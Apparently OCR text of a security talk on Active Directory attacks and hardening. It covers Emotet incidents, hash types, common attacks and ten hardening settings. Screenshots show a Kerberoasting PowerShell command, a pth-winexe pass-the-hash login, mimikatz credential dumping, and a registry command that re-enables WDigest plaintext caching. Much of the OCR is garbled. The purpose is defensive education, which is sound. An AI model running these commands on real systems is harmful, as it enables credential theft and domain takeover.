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Why care for the Active Directory?

* The Active Directory is the Key to the
Enterprise Kingdom

* (All) Attacks in the internal network try to
compromise the Active Directory

» I don't care for your IAM solution if | do not need
it“ some Hacker

* A fully compromised Active Directory is a
very bad situation for any organisation




When Companies go down, it's always via Active

Directory

Frankfurt shuts down IT network following
Emotet infection

Frankfurt city officials take down IT network to prevent Emotet to be used as a staging point to launch a
ransomware attack.

MORE FROM CATALIN CIMPANU
. By Catalin Cimpanu for Zero Day | December 19, 2019 -- 21:11
y GMT (2111 GM opic: Security

Report: Chinese

Deutlicher Anstieg bei Cyberkriminalitat

= Der Chef des Bundeskriminalamtes kiindigt eine Wiedereinfiihrung von Fallkonferenzen zur Eindammung von
Gewaltdelikten an.

Trojanerbefall in Stadt Bad Homburg und Hochschule Freiburg

Publiziert am 20. Dezember 2019 von Gulnter Born

Gestern wurden zwei neue Cyber-Angriffe auf die IT-Netzwerke der Verwaltung des
nordlich von Frankfurt gelegenen Taunusstadtchens Bad Homburg sowie auf die
Katholische Hochschule Freiburg bekannt. In allen Fallen wird hinter dem Vorfall eine
Infektion mit dem Trojaner Emotet vermutet. Die IT-Netzwerke der Betroffenen wurden
aus Sicherheitsgriinden heruntergefahren.

It's the
— Active Directory,
stupid!

Bill Clinton




X) er Incident is never a Single Event: The Cyber
K|II hain

Initial Access

@ Delivery &

https://attack.mitre.org/
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Authentication and Passwords in Active Directory

TGTs, Caches, ST,...

(&)

*g LM Hash * Local SAM db « PWs very easy to Deactivated per

S * ntds.diton DC crack default since Server

> 2008

o

@)

% NT Hash * Local SAM db * Pass-the-Hash Default PW storage

E (aka NTLM Hash) * ntds.dit on DC mechanism on DCs
NTLMv1 * Used in Challenge/ * Crack Response

2 (aka Net-NTLMv1) Response between * Relay Attacks

3 server+client

o

pe « Like NTLMv1 but - Crack Response

-% better. * Relay Attacks

S

‘qc‘) Kerberos * InDC, neveron » Silver Ticket Default since Windows

= network or clients, * Golden Ticket 2003

< but.. + Kerberroasting



Common Attacks: Mimikatz (read secrets from
LSASS process)
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Common Attacks: Kerberroasting

EN Windows PowerShell

'S C:\Users\aaron_rodgers> get-domainuser kobe_bryant | Get-DomainSPNTicket

amaccountName : Kobe_ Br\ant
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icketByteHexStream
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Common Attacks: Pass-the-Hash

:~# pth-winexe -U Administrator%d/a2630a%eccdafflB86fcO307/0888283:480d1ld
426Teb2721b915e7870c9elaBf //192.168.52.15]1 cmd.exe

4nasn wrapper called.
| PASS: Substituting user supplied NTLM HASH. ..
E mddhash wrapper called.

HASH PASS: Substituting user supplied NTLM HASH...
M1CrosoTt windows [Version b.l./bUl]
Copyright (c) 2009 Microsoft Corporation. All rights

C:\Windows\system32-j]

kbt 1o



We Road to Success: The Bloodhound shows the
ay
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What the_Hackers do when they got access to_%/ou
Domain Controller and what you can do about i

DCSync Extract password data into a .
malicous DC C
DCShadow Use malicious DC to add new (bad) -

objects into existing AD
Extremely stealthy

Dump and Crack Typicall gives 20-80% of passwords

ntds.dit of all users. .

Skeleton Key Sets an DC in-memory master .
password that can be used with any
user

Golden Ticket Create a kerberos ticket that allows
subsequent access to all AD
resources

Unknown unknowns ? ? ?7?

PWs reset for all users
KRBTG 2x

Monitor for suspicious AD
configuration changes

PWs reset for all users
Reset KRBTG 2x

Reboot DCs (but auto-
deployment might be
configured)

2x pw reset for the
KRBTGT account

*) Disclaimer: Simplified examples. During real incidents other combined or more nuanced approaches are needed.

KPMG
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Takeaways: The 10 most critical (realistic) settings to
harden your Active Directory

Use adequate password policy (a bad policy breaks everything)

Use LAPS to (almost) prevent Pass-the-Hash

Restrict LLMNR/NBNS/WPAD protocols to prevent Relaying Attacks

Force SMB Signing to prevent Relaying Attacks

Limit Client-to-Client communication using the Windows Firewall
Limit Network Logins for Service Accounts to Limit Attacks in Progress
Disable WPAD proxy configuration but use proxy to prevent Rel. Attacks

Perform regular Active Directory Security Audits (yes, there are tools)

Central Logging, Monitoring and Alerting (MS ATA, MDATP, ...)




Dirty Trick #1

mimikatz # privilege::d
s

Privilege '20' OK
mimikatz # sekurlsa::

4 5 (00000000 :000bee98
: RemoteInteractive from 4
: bob
: ACME
Logon Serwve : WIN-NZ2FOGNE3SFA
Logon Time = O PM
SID 1 5-1-5-21-3449195921-3540121942-1466636
mswv &
1 Primary
: bob
: ACME

: bob

: ACME

: andyalz34d:
ker 5 @
Username : bob
Domain : ACME.LOCAL
Password : (null)

e
¥*
*
¥*

SS5P .
credman

Enabling credential caching
again:

reg add HKLM\ SYSTEM\
CurrentControlSet\
Control\
SecurityProviders\
WDigest /v
UseLogonCredential /t
REG DWORD /d 1
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